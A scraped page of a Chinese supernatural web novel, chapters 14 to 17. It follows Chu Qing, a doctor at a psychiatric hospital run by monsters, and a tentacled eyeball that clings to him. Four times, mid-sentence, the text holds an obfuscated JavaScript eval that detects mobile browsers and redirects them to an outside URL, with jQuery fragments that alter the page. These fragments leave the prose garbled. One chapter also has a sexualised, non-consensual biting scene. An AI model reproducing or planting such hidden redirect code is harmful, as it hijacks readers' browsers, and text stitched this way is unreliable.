沐枯险些被他看得炸毛:“你那是什么意思?这不是劳资干的!别什么杂七杂八的帽子都往劳资身上去扣。” 王洪拆开皮带,敷衍的一点头:“没错,您说得在理,毕竟咱也不知道王的气息是怎么出现在我右眼眶上的,气息还挺浓的,看样子停留的时间不短。” 接下来就是有关洗澡所盛水的器具问题,沐枯非要躺大浴缸里,但王洪以“怕其淹死”为由一口回绝。 沐枯觉得他要翻天:“你再说一遍?” 王洪现在不像诡异,他现在与底层卑微打工人完美重叠在了一起。 他无奈道:“王,你行行好,这个沐浴露出沫挺多的,您在这么大的浴缸里洗的话,我很难发现找到您,而且说个题外话,下说道的那个口径挺大的,要是万一不小心给您冲下去可就不好了。” 沐枯:“……” * 楚青没想到自己还有被手机电话铃声吵醒的一天。 他不经常离开精神病院,与附近邻居的接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621990|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎为零,别提交换一下联系方式了,就连别人看见他就跟见了鬼似的。 是的,鬼。 先不说楚青这能跟鬼所媲美的肤色,还有他的行为。 在一个月之前,楚青还挺乐意去一公里外的便利店里买东西,那里虽然货物不多,又因为位置比较偏僻的原因而没有多少人进来购物,但那个老板相当热情,总是喜欢额外送他一些东西。 她有时候会因为看见客人的到来而倍感高兴,从凳子上站起来迎接,一不小心,高兴得牙齿就会从嘴巴里掉出来。 那个时候,不论老板推销了什么,其他客人都会开心的流下眼泪或汗液来,十分激动的将东西买下,并结巴的宣称会下次光临。 这是无可厚非的事情,毕竟老板实在热情。 每当他满载而归的出来时,外面的人总会用一种楚青看不懂的复杂目光看他。 “你不害怕吗?” “我为什么要感到害怕?” 提出问题的女人更加诧异:“你难道没有看见她满嘴晃动的血牙跟一地的鲜血跟人体碎肉吗?而且在她喝茶的水杯里还有一只浮动的眼球,我看过去时,眼珠子还冲着我转呢。” 但也不知是四周的轰鸣声太大,还是女人压根没发出声音来,楚青什么都没听见。 “这位女士,”楚青很认真的拒绝道:“我对于您口中所讲述的东西没有任何兴趣。” 女人只当他是在故意强撑:“没事,不要紧的小兄弟,毕竟我已经提供相关证据提交上去,就等他们来处理了。” 楚青点头:“那就祝您成功。” 事实上,他连女人口中事情的来龙去脉都没搞懂,只是为了逃脱而一味的敷衍。 最后女人看他的眼神感觉像是在看怪物:“我很惊讶,因为我在你身上没看到一丝恐惧的情绪,哪怕是面对着老板。” 楚青想说因为老板本身就是个很好的人,但话还没说出口,女人先提着袋子跑没影了。 哪怕穿着高跟鞋,她依旧跑出了一种在跑酷的感觉,活像后面有鬼在追她。 但就是从那天后,等楚青再去光顾时,却只看到了关门大吉的标识。 门上的招牌光秃秃的,四周街道上人来人往,谁都不会再往这边看上一眼,好像这家店铺从此就这么消失在了他们的世界似的。 楚青在回去的路上遇到了之前在店门外遇到的女人,随口问起了有关那家店铺的事情。 女人却只当他是神经病:“我不知道,这里哪里来的店铺?我天天经过这里,印象中大概有个三四年没有开业了。” 她说完,一看时间快来不及了,路边扫了个小黄车后就骂骂咧咧的出发了。 道路那边,一袭风衣,戴着黑色棒球帽,双手插兜的高个男人余光扫向楚青,胸前代表着APIU的标志性徽章在光下熠熠生辉。 他此刻正在向电话那头的人汇报着处理结果,另一只手夹着烟,嘴里缓缓吐出烟圈,在烟雾缭绕中,路边的霓虹灯被模糊成光晕。 “我发现了一个没被清理掉诡异存在记忆的漏网之鱼。” 15. 第 15 章 按照惯例,在APIU将那些敢在街道上开店吸引人类进去的诡异消灭后,他们会派遣一些人员来观察相应情况,确保不会有潜在的其他诡异出现。 说起来,没人知道拨打热线的那位女人是如何敢明目张胆的在店铺门口谈起诡异情形的。 在他们开着装甲车浩浩荡荡的派遣人群武装前来时,才真正根据能勘测诡异具体信息的物体诡异了解到其相关信息的。 那是一根笔,是用人体的骨架拼接而成,使用代价是提供鲜血,每次提问都要用400CC的血液。 这个量如果作为献血的话,大概是最高单次捐献量。 而且还必须是符合健康卫生标准的前提下,笔会接受你所提供的献血,劣质携带病毒的血液它是一口都不会去碰的。 在它取得自己的报酬后,开始回应提出的“是否是诡异”的问题,主动沾染附近早就准备好的墨水往白净纸上写写画画。 只不过它有距离限制,只能提供方圆一公里的诡异相应情况。 虽然它写得犹如被鸡爪挠过似的,但工作人员不得不敬,并且眯起眼睛,带上放大镜仔细辨认。 纸上的信息是一目了然的大白话: B级诡异“收银员” 开店时间一年 一旦踏入店内就等于跟她自动签订购买契约,不论她强塞抑或是主动抬高你买的商品,你必须要支付相应金额,否则就约等于撕毁协议,会被她当作食物吞下。 这类诡异的杀人规则看似简单,但却是最为棘手的,因为你口袋里所装的金额受限,而她却能无限将自己店内的商品抬高,可以说完全就是一个必死之局。 没人知道那个举报的女士是怎样逃脱出诡异魔爪的,可能是因为幸运? 不,绝无可能。 但也极为蹊跷,因为经过调查显示,在那天下午四点到六点之间去过店铺里的人员基本都躲过了被杀的命运。 他调查监控时,对一个人的背影相当感兴趣,因为他几乎完美规避了所有摄像头,未被捕捉到任何正脸。 不过根据监控显示,他应该很爱喝酒,因为一口气买了十八瓶酒,还都是同一个牌子,别的什么也没买。 有关收银员所在的位置的监控被模糊成了一堆马赛克,查了半天什么也没有。 其实关于“收银员”还有一条规则,这条规则往往会被人为到忽视,那就是在她所经营的店铺内的所有东西都归她掌控,当然包括摄像头,只要她想,摄像头完全可以充当她的另外几双眼睛。 那就很有意思了,调查人员想,也不知“收银员”对于那人有什么好惧怕的,愣是变着法的躲避,生怕照到一点正脸。 风衣男人掐了烟,对于街道对面还在问询“收银员”店铺的楚青格外关注,按理来说在诡异被消灭后,那些曾经有关诡异存在的记忆会完全消除在他们脑海之中,不留半点儿印象。 但楚青好像不仅仅是记着那么简单。 他眯起眼睛又观察了一会儿,在收回思绪后,没再管电话那头的逼逼叨叨,打开车门坐了进去,并且从口袋里摸出一张白净纸张来,平整展开后,依次将人骨笔跟墨水摆放上去。 同时,他干脆利落的抽出针管来,从自己胳膊上面找准位置抽出够量的献血后,拿出盛血的器皿将人骨笔放入其中。 在看到血液完全被笔吸收干净后,它才问出自己心底埋藏许久的问题来,并且根据他的目测,他跟楚青所在的距离绝对不可能超过一公里,毕竟左右不过是一个街道的距离而已。 “我的问题,那个男人究竟是不是诡异?” 一分钟过去了,人骨笔没动。 两分钟过去了,人骨笔还是没动。 …… 等了整整十分钟,楚青成功没了人影,风衣男人也等的不耐烦了,但令他惊喜的是,人骨笔动了,它终于动了! 它自己站起来,沾了墨水后,便速度缓慢的在白纸上面写字。 风衣男人也看得极为认真。 但奈何人骨笔的字迹太丑了,他也是看了好半晌才看出个所以然来。 人骨笔写的是,不要问无意义的问题。 * 清晨的电话是连着拨打四遍后,楚青才成功接通的。 按照他对于自己手机上电话联系人少得可怜,而且少的可怜的那几个还不具备打电话通知他事情的认知前提下,楚青的第一感觉是骚扰电话。 就在他不小心点开,正打算挂掉时,电话那边的人主动开口了:“是**区青山精神病院所居住的楚先生吗?” 可能是觉得问的不足够详细,在等了两秒后又接着补充道:“尾号**45是吗?” “是的,”楚青主动应下:“我不买保险。” “……” “那个……”对方明显噎了一下:“楚先生,不知道您还记得自己在两天前曾经在**平台上面下单的一笔有关□□,修理窗户的订单。” 他道:“我看您把维修费用改到了五百来块,不知道情况是否属实,因为大多数情况下,只是维修,费用不会超过两百来块的。” 经过对方的描述,楚青这才想起来自己上次被那个修理工拉黑拒绝后,怒而把维修费加了一倍多的情况。 但两天之内,只有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621991|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位真正敢接订单,不怕有鬼的修理工主动联系他,这不禁让楚青对于他的情况比较好奇。 “你不怕吗?” “啊?”对方道:“怕鬼出没?精神病院也是医院,有人死亡很正常。” 楚青隔着屏幕,听到了对面传来的拳头锤打胸口才能发出的击打声。 “楚先生,您尽管放心好了,实践是检验真理的唯一标准。” 楚青没搭话,他嗅到了股中二病的浓烈气息。 在感受到尴尬的气氛后,对方主动活络道:“那个……楚先生,有一件事我必须要跟你坦白,我只是在校的一枚准大二学生,平时没事就爱在平台上接一些活,但您放心,我经验十足。” 这一句话,楚青是信的。 毕竟对于大学生来讲,能阻碍他们挣钱的除了距离跟能力之外,其他牛鬼蛇神什么的统统不是问题,因为他们比较相信科学(bushi)。 要知道没钱要比撞鬼要可怕多了。 “行,”楚青道:“只要能修好,上面的标价不会改,标的多少就算多少。” 对方听见后,声音是肉眼可见的激昂:“那我等到下午七点就去,待会儿有节体育课,自从我上上次逃课被抓之后,那老师就记住我了,每次必点我两次名,还特意把我安排到第一排,就在他眼皮子底下,压根儿跑不了。” 楚青不答,他就接着呜呜的哭道:“虽然我们只是雇佣关系,但能请您问我一声‘怎么了’,可以吗?” 楚青:“……” 多亏他有多年哄孩子的经验,要不早就挂电话了。 “你怎么了?” 男生一听见这话就又委屈又是生气的:“我那次逃课找了个代课的,结果没想到那位是个女生,其实是个女生也还行吧,可关键是,我选的那门课程没有女生……” 他哭完后,很快收敛好了情绪:“楚先生,您真是个好人,下次再来找我给你打八折。” 说完这一切并表达完他最真挚的感谢后,对方才终于挂了电话。 楚青终于从床上坐起来,看着窗户外升得老高的太阳,才慢吞吞的从床上爬起来,打算到洗手间洗一把脸。 但比他还要快的是浴室里传来的碎玻璃声,随后浴室开了条门缝,一上一下,院长王洪的一双眼睛跟还没完全冲洗干净泡沫的沐枯一齐从门缝里探出来冲着他卖萌撒娇。 “妈妈……”沐枯扭捏道:“王洪有件事想找你商量。” “……” 王洪无辜躺枪,但他敢怒不敢言。 “那个……楚医生,告诉你一件不太好的事情,请你先不要生气……” 16. 第 16 章 不生气的前提是在能完全忍受洗发水完全被倒的一滴不剩的情况下,不夸张的说,这是楚青经常爱用的那瓶。 有些人就是有某种魔力,能将人的心情往最为低落的方向去引领。 沐枯现在的表现完全透露出一种浓烈的心虚,展露在脸上,教人一眼就能看透。 他试图在楚青打量的眼神中,挤出一两滴眼泪来表达自己的委屈,但在泪意还没完全涌上来之前就被楚青打断了施法。 楚青眼神扫荡过来时如有千斤重:“你们谁来结一下单?” 身为分文,目前还处于寄人篱下的沐枯几乎是不带思索的,下意识将王洪推了出去:“由王洪买单,他是院长,钱多。” 钱多的院长颤抖的拿出手机,在转账之前先看了下自己手机的余额,八百三十二块三毛一,他不忍直视道:“我来买单,来吧楚医生,报个价吧。” 楚青看着账单道:“六百九十九。” 王洪拍着胸口:“还好还好,才六百九……” 他停顿了下,脑子像是刚刚反应过来似的:“多少?” 楚青不厌其烦的又重复了一遍,为了防止王洪不信,他还发了购买截图过去,没打码的。 王洪不太行了,他有些活人微死的感觉了,在输入密码时,他就连身体里的骨骼都在颤抖,当然,那是被惊的。 据他所知,他们这群居住在精神病院里的糙汉大老爷们用的还都是拼团,团购价十九块九两瓶的洗发水套装,而且为了彰显身为院长的大度美德,他用的还是送的那一瓶。 王洪心疼的想,早知道就多偷摸着用点楚青带来的洗发水了。 沐枯还非要用楚青那一款的,非说香香的,六百九十九一瓶的洗发水,净含量三百毫升,平均两块三三一毫升。 这可都是慢慢的金钱气息啊,能不香吗? 此刻王洪看着余额里剩下的一百来块钱无语凝噎,如果此刻能有个手帕在他手上的话,估计他就要咬着手帕泫然欲泣了。 沐枯在底下不住的翻着白眼,有点儿嫌弃这个跟随自己许久的属下,哪里有一点身为高级诡异的魄力。 王洪才顾不上什么魄力不魄力的,他现在只心疼他的钱:“我是一个商人,没有哪个商人会不爱钱的,再说诡异就不需要吃饭跟添置家具跟旁的东西了吗?” 他越说越激动:“楼下的那个咖啡机,还有冰箱,空调,还有被褥床单跟沙发,甚至就连办公桌,地毯跟楚医生经常用来记录病例的速干直液式中性大容量走珠笔还是我买的!” 沐枯:“……” 他转动瞳孔看向再次倒在床上,戴上耳机,不再将注意力放在他们这里的楚青后,才总算是松了一口气。 现在他的表情就是你表情包里经常用的第三个表情,对于王洪的这波哭喊他只能打八点五分,因为他有一点五语。 沐枯眼神鄙夷,他用触手将自己身上的泡沫抹了个干净:“以后出门你别说你是我的下属,我丢不起这个人。” 王洪才不管这个,他还试图用自己的凄惨去撬开自家王上所剩无几的良心。 “虽然这些话说起来有些伤人,但是我还是不得不说,楚医生用的笔的价格都比我用的洗发水贵。” 沐枯不解:“你从哪里得出的结论?你的算术看起来不像是碳基生物教的。” “王啊,”王洪哭喊得极为卖力:“你是不知道楚医生是有多费笔。” 沐枯嫌弃道:“左右不过几克黄金罢了,到时候我出去就给你拿。” 王洪眼神一下子亮堂了起来:“果真吗?义父?” 沐枯:“我在外存的还真不少,少不了你的好处。” 只是王洪眼神里的光没亮两秒就立马熄灭了:“那可惜了,拿不到喽。” 结果话一出口,小腿处就结结实实的挨了自家王上的一触手,虽说算不上多疼,但无疑是在他本就碎成渣渣的心上雪上加霜。 沐枯虽然身处劣势位置,但身上的气场却丝毫不减:“姓王的,你是不是存心找不痛快?” 王洪见楚青并没注意到他们这边,叹气道:“王,不知道你有没有感应,其实在你自从踏入精神病院时,就意味着在不经过楚医生的授意前提下,你将没有任何可以出去的机会。” 沐枯终于来了兴趣:“你们没有任何法子吗?” 王洪摇头:“我本来一个诡异待在这里开精神病院开得好好的,某天楚医生在一个雨夜光临这里后,我发现精神病院逐渐脱离了我的掌控。” “精神病院里病人的所有状况将会被病历本统一收录其中,但病历本可不是由我所驱使跟掌控的,它听命于楚医生。” 在它掌控创建精神病院的记忆里,从未有过病历本的存在,它是跟随楚青一起入住进精神病院里的。 王洪眼神犀利道:“在意识到精神病院里的病人不再由我所掌控时,我的第一反应是杀掉楚医生。” 他话音刚落,小腿处又挨了一触手,这次可比上次要抽得要重上许多,很快落下一记较为显眼的红印。 王洪只需低头,就能看到沐枯瞳孔中再明显不过的“你敢”两个字。 他无奈摊手道:“至于现在究竟如何,王你也看到了,因为病历本的影响,我们无法对楚医生动手,一旦被病历本察觉到我们有任何对楚医生造成伤害的行为,面临的将是五花八门的不同惩罚。” “说起来,”王洪眼泪汪汪道:“我这药一吃就是三年,楚医生跟刘护士联合起来欺负我。” 沐枯算是听明白了:“以你们的等级,无法摧毁病历本吗?” 王洪:“没有用的,它比三六零还耐‘病毒’。” 沐枯眼神逐渐变得意味深长:“那你觉得妈妈他是人类吗?” 楚青是人类吗? 有关这个问题王洪从来没有考虑过。 作为一个诡异,他也见过不同类型的诡异,等级或高或低,无一不都是歪瓜裂枣的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621992|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但要说真的长相磕碜也不尽然,因为没有哪个诡异能像楚青这样如平常人类一般无二,完全看不出丝毫破绽来。 但要说楚青是真实人类的话,又不完全,因为他跟诡异相处这么久以来,都快处出感情来了,愣是没窥见一丝害怕的情绪。 要放在一个正常人类身上极不寻常。 但思考到最后,王洪看着沐枯,神色认真道:“很抱歉王,我无法回答你这个问题,我并不知道。” 沐枯本来还用触手托举着整个眼球在原地认真思考,但当脑海中突然闪现出楚青放大版的脸后,他便什么也不想去想了。 “是不是人类没什么要紧的,”他郑重向王洪声明道:“我的妈妈,只能是我的。” 王洪其实很想吐槽一句,就像楚医生这样冰坨子似的人,估计也只有自带被虐待属性的王能看上。 但他给足了王排面:“当然,楚医生当然只属于您。” “好了,你可以将头撇向另外一侧了。” “为何?”王洪是真的不太理解。 “因为你现在太丑了,”沐枯不留情面的批判道:“你快想办法把你那空洞的那个眼眶堵上,看着着实碍眼。” 王洪想,碍着您的眼了那可真不好意思。 * 楚青的脾气早在王洪将钱转过来的一瞬间就烟消云散了。 现在他正在网上物色着新的洗发水,翻着翻着,可能是平台良心发现,主动跳出来一个优惠卷。 满五百减五十的优惠卷特效占了满屏,咱也不知道为什么搞那么大的阵势,反正楚青在点击叉号的时候顺带领取成功了。 真是好大一场资本局,在检测到他买的商品相应价格后,还会自动跳转出能匹配成功的优惠卷,也是相当贴心了。 楚青正巧看见一个价格不错的,打算点开时,锁骨上突然一阵冰凉,光是凉还不足为提,沐枯为了吸引注意,还将触手一个劲儿的往楚青脖颈处去贴。 如果说只是贴也就罢了,但因为他的触手上连带的有吸盘,就像是故意似的,蹭起了一阵痒意。 沐枯本意只是想蹭一蹭,结果看着那雪白的脖颈皮肤实在不争气,他突然觉得,如果在上面能留下几个红印子,那将是多么美妙的一副绝景。 这个地区看起来从未有人涉足过,很白,很细,手掌贴上去甚至能感受到上面脉搏的跳动。 而且都说男人的喉结最为性感,本来沐枯是不屑一顾的,但现在,单是从这个仰视的角度看到楚青上下滚动的喉结,他就不由得萌生出了想长大嘴巴,一口含上去的冲动。 如果此刻再搭配上舌尖在上面舔动,不知又是怎样的一副绝景,沐枯越想越心猿意马。 咬上去,他想,最好咬的发狠一些,这样子牙印会在上面留下很长一段时间,不会完全消掉。 沐枯不知道,他现在的样子在楚青看来就像一个标记领地的猛兽,在肆无忌惮的标记着他的所有物。 17. 第 17 章 而事实上,沐枯也这么做了,在吸盘没有攀附上去之前,他先闻到了一股淡淡的茉莉花香味。 这股味道闻起来并不醉人,甚至可以说,他是清香宜人那一款的,香味淡得仿佛风一吹就轻易散了个干净。 但如果这香味是出于楚青身上,那就是另外一种滋味了,明明不似薰衣草那般浓烈,也不似美酒入喉那般回味无穷,但就是直挠得人心痒痒的,恨不得想要将人整个按在身下,再咬上一口不可。 沐枯迷迷糊糊的想,真是奇了怪了,他在使用沐浴露时反而没感到这么折磨,现在在跟他用了同样沐浴露的楚青身上却换了副模样,跟一个八百年没见过任何人的糙汉子似的,恨不得直直地扑到人身上去,再也不要下来。 说不□□焚身那是假的,但坏就坏在他没有“身”,自然也就不存在扯过人的衣领或衣袖,又或者是直接环抱上其腰腹,牢牢抱紧入怀的举动存在。 沐枯在身体被炸成碎片后,还能乐呵呵的安慰自己这样的模样很容易躲过抓捕,但现在他只觉得没有身体完全是自己这辈子最大的败笔。 按照以往小说的套路,在他实在无法抑制自己的想要一探究竟的想法时,就会将其翻身按在床上,以一种上位者的姿态,将其试图想要反抗的双手一手包裹握住并牢牢扣在床头,在底下那人想要用腿踢过来,试图反抗时,他能一手捉住其小腿,顺势往上一翻。 舌头自然也不能闲着,缓慢将衣服布料那么一卷,直至有那么零星一两点的桃色出现,此刻便是能细细品尝的关键时期。 此刻如果乘势而上,将会更加顺利,一通到底。 但这对沐枯来说都太过遥远,他现在除了在美色撩拨下,眼睛里面多添上几道血丝外,他什么也无法做到。 沐枯越想越恼怒,甚至在这股恼怒中,他为自己的能力不足而平添了些许羞愤在里面。 所以触手吸附在楚青白皙皮肤上面是,他咬下去的力道发了狠,甚至还连带了好几丝血丝出来。 “嘶——” 楚青本来没想过要搭理他的,但架不住沐枯咬下来的力道太狠了。 如果沐枯不是一颗眼球而是一个活生生的人的话,楚青毫不怀疑沐枯能将他当作食物菜肴,一口接一口的咬下,撕扯血肉,刨开心脏,舔舐干净每一滴鲜血,将他从头到脚,从里到外吃个干净。 但介于体型过小,无法实施,实在可惜。 楚青想,在法律上有种情况叫自我防卫,如果到时真经历了这些,借助自我防卫的理由,将其搞死也未尝不可。 沐枯在听到楚青的吃痛声后,才猛然回过了神,发现楚青用一种仿佛要吃人的眼神直勾勾的看着他,这股从头渗透到脚的寒意不像是空穴来风,沐枯只能乖乖的收起了触手,就像一个做错事,在尽可能认错求饶的孩童。 楚青很想一个弹指将沐枯弹走,虽然他现在不能完全看清他脖颈上被咬下的伤势如何,但也不难从指尖随意抹下来的血迹看出咬的不轻,他现在只要轻微一动就会吃痛的抿起唇片。 真够闹心的,楚青想。 但在这个想法没有实施之前,他只感觉指尖猛然一热,手背上的触感也不太对劲,就好像有什么温热的液体在上面滑行。 他低头发现沐枯不知何时从他的锁骨处来到了他的手背上,正在一刻不停的往下啪嗒掉眼泪,而楚青感到湿润的东西当然就是眼泪无疑了。 他正想说出口的话一下子堵在了喉咙里,如今是一个字节也发不出来了。 因为现在他更想骂人,但作为一个好好先生,楚青在脑内翻了好几翻,愣是没找到几个真正有杀伤性的侮辱性质的词汇。 于是他憋了半天,总算憋出一个“混账”出来,其实楚青还想再骂一个流氓的,但如果真骂了,他这个被流氓骚扰的不知又会被贬低成了什么玩意。 最后楚青干脆眼不见心不烦,将目光放到一旁的床头柜上,开始定位纸巾的准确方向,抽一两张出来将手上的泪珠擦干净。 关键他还不能乱晃,一是眼球的触手吸附力实在牢固,二是如果不小心动了,现在湿的可就不止他手边这么一小片布料了。 而且沐枯还有一个特性,那就是他越是被晃,他就越是“恐慌”,这样一来,流出来的眼泪就越多。 这种不但不会帮忙还会越忙越乱的情形就很特么的糟心。 而且现在更糟心的是,楚青将装纸巾的盒子摸过来一看,发现居然一点!纸巾!都!没有了! 但这明显不可能,因为楚青清楚记得,自己是两天前换的,拿来的时候还是满满当当的,甚至在昨晚睡觉之前,他在抽纸时还看到里面起码还剩下了五分之四的纸张数量。 不敢想一晚上的时间,纸巾到底遭遇了怎样的磨难。 楚青想着,就打算弯腰去床底下的垃圾篓里一探究竟,一看不要紧,里面竟然密密麻麻堆积的全是纸。 而且他记得自己的床底下是没有放盆的,现在看去,能明显看到一个大红脸盆的边角,楚青伸手捞出来一看。发现里面起码盛放了半盆子的水。 联想到某人的泪失禁属性后,楚青扫过来的目光不可置信,甚至还多了几分探究跟震惊:“这都是你搞出来的?” 但凡犹豫一点儿,就是对于沐枯哭包实力的不尊重。 沐枯抽噎道:“妈妈……我没有打湿地板,全哭在盆子里的,地板很干净的。” 楚青:“……” 可我现在不太想夸你。 眼见气氛还焦灼着,沐枯又补充道:“我还把桌子擦干净了,现在上面是一点灰尘都没有呢。” 楚青看着自己的抽纸,现在真想一拳锤死他。 当然干净,要是用完打半包抽纸还擦不干净的话,那他就要质疑纸巾的用途了。 楚青现在不太想说话,他现在糟心的不行。 但殊不知沐枯哭着哭着就禁不住打了个喷嚏出来。 眼珠的打喷嚏方式与众不同,沐枯半眯着眸子,就像身体里面安装了个弹簧似的,剧烈颤抖了许久,楚青想伸手抚慰都不能将其叫停。 终于在憋了好几十秒后,他终于爆发了。 他以迅雷不及掩耳之势,整颗眼珠连带着身后的触手一起往前猛然前倾,触手猛一甩动,眼泪就跟子弹似的,在一并飞往楚青前胸衣服的同时,还有一部分溅射到了楚青的头发上。 楚青:“……” 士能忍孰不能忍。 士能不能忍他不知道,反正他现在是半点儿也忍不了了。 楚青在起身的同时,几乎是用尽力气将沐枯从自己手上甩飞出去。 沐枯刚打完喷嚏,脑子还没完全清醒,触手吸附的也不是很牢固,被人这么用力一甩,自然逃脱不了被甩飞出去的命运。 而且好巧不巧,他就这么被甩到了自己昨晚用来装眼泪的大红盆子里面,又溅射出来一些水珠来。 沐枯昨晚哭得昏天暗地,也不知究竟是哭了多久,直到水盆里的水位蔓延上来,逐渐将他吞没。 而且他还不甚尝了些自己的眼泪进了口腔,咸咸的,一点也不好喝。 他可能是哭昏了头,居然有一瞬间联想到了楚青的眼泪。 妈妈哪里都香,眼泪一定也是如此。 他被自己的幻想馋出了味蕾,禁不住主动张开了口腔,可惜回应他的却是不小心被吞咽进去的两大口眼泪。 至此,沐枯实在没心情接着哭下去了,再这样他别说把自己溺死,就算只喝眼泪也能给自己喝饱了。 沐枯现在正想出声去喊楚青,但一张口又是眼泪的无情伺侯,它只能默默闭上了嘴。 * 楚青走得实在决绝,那神情,仿佛是在从容赴死。 王洪眼巴巴的站在门边看他:“楚医生,你这是要去哪里啊?” 他一边说着,眼神一边往门外瞟,仿佛是在用这种小细节暗示楚青自己想出去的念头似的。 但事实确实如此,王洪在这里不知待了多久了,感觉自己都要在这里被泡发霉了都。 只不过虽然他眼神戏很足,但奈何他面对的人是个瞎子,一点儿看不出他的真实想法,相反,楚青还解读出了别样的意思:“放心,院长,我会注意安全的。” 王洪:“……” 他真是恨不得将自己脑袋里装的脑浆抓出来一大把往楚青身上去砸,最好是对着脑袋的那种。 谁管你安不安全?王洪愤恨的想,你连我这样高级别的诡异都能轻而易举的牵制,放眼望去,这街道上究竟还能有哪些诡异能真正入得了你的眼的? 你可太安全了,简直比我都安全。 楚青看他眼神中的不满还以为院长是在不满意他单独外出,便拿出手机往他面前晃了晃:“有事电话联系。” 王洪默默拿出自己的手机,气音回应:“……行。” 楚青走的迅速,在沐枯赶来门口之前,他已经将门打开了。 沐枯还试图想火急火燎的扑上去,但奈何在半空中扑腾到了一半,他就像被折翼的鸟儿似的,被生生撞了回去。 在门口那里好像有一道看不清的屏障,将它完全隔绝在了里面。 王洪本意是不想看到王的窘境的,但一切发生的太快,他根本来不及将头往一旁扭去。 眼看沐枯不死心的往门口放向看了好一会儿,再次想要像外扑去时,却还是被挡在了门里,王洪只能劝道:“出不去的,王。” 他只是一味的叹气:“王怕是忘了我之前交代过的话了吧,这个精神病院进来容易出去难,我还没见过哪些个进来的诡异能出去的。” 沐枯眼尾泛红,因为刚刚大哭过一场,现在整颗眼球看起来居然有了那么几分楚楚动人的感觉,看得王洪一阵新奇。 在王洪正在拼命按耐住想发朋友圈,分享欲旺盛的情形下,沐枯出声道:“你知道病历本在哪放着吗?” “当然,王上。” “带我去。”沐枯看着楚青远去直到看不见的背影道。 * 可能是在之前的那个憨厚热情阿姨的小卖铺里逛惯了,这次楚青一下公交车,还是下意识往那个方向去拐。 但现在的小卖铺位置已然大变样,不仅店铺招牌焕然一新,就连老板跟内里的装饰都变成了另外一副陌生模样。 招牌上的“沙县小吃”看得楚青不由得一阵恍惚。 他不过是在门外站着愣了会儿神,里面的老板娘就主动拉开玻璃门,探出半边身子出来,弯着眼睛,热情地冲他打招呼。 “帅哥,看你站在这里时间不短了,确定不考虑进来尝尝鲜吗?”老板娘长着一张大圆脸,看着比电视机上的福娃还要亲切。 “我们今天刚开店,这样吧,给你打八折行吗?” 她只开了半边门,就能闻到从后厨飘散而来的浓汤香味,应当是炖了好些时长的骨汤,直勾得人生出几分想要品鉴一番的心思来。 楚青不答,但偶然路过的,刚才附近的超市出来,还提着大包小包,嘴里叼着一根烤肠的姑娘可忍不住了。 她主动问道:“老板,你锅里炖的是什么啊?好香啊。” 老板娘笑盈盈的回她:“这姑娘看着真漂亮,真有福气,我们后厨喷香的东西可多着呢,有小笼包,还有蒸饺什么的。” 姑娘笑了:“那就各来一笼吧,正好饿了。” 老板娘将门推开放她进去,大着嗓门冲后厨交代完后,又眼带笑意的看着楚青:“帅哥,你呢?” 楚青摇头:“还算不上太饿,只是看看。” 老板娘笑:“也可以去里面坐坐啊,我们这里刚开业,也提供一些免费的点心。” 就在这时,后厨走出来一个身穿工作服的青年人,看着年龄不过二十来岁的样子,走着走着,他跟常人别无二致的脸上多了多了一只眼睛,隔着玻璃跟楚青遥遥相望后,又迅速缩了回去。 等楚青再去看时,那位工作人员还是一副再平常不过的样子,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621993|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无半分异常。 楚青想,幻觉症果然强大,没准下一秒他就能将锅里的排骨给看成人头汤了。 但这个想法刚刚出现,店里放置的大锅里就突兀的被他扫见了一截类似人类头骨的东西,但当楚青又眯眼看个仔细时,那东西却又成了牛骨头。 不,它原本就是牛骨,也不知在那一瞬间的错觉中,楚青是怎么将其看成是人骨的。 老板娘见他一直盯着店里的服务员看,便主动介绍道:“那小子是我儿子,刚毕业不久,因为最近没找到什么合适的工作,我便要求他来店里帮忙,只不过他反应比较慢,有些时候总是笨手笨脚的。” 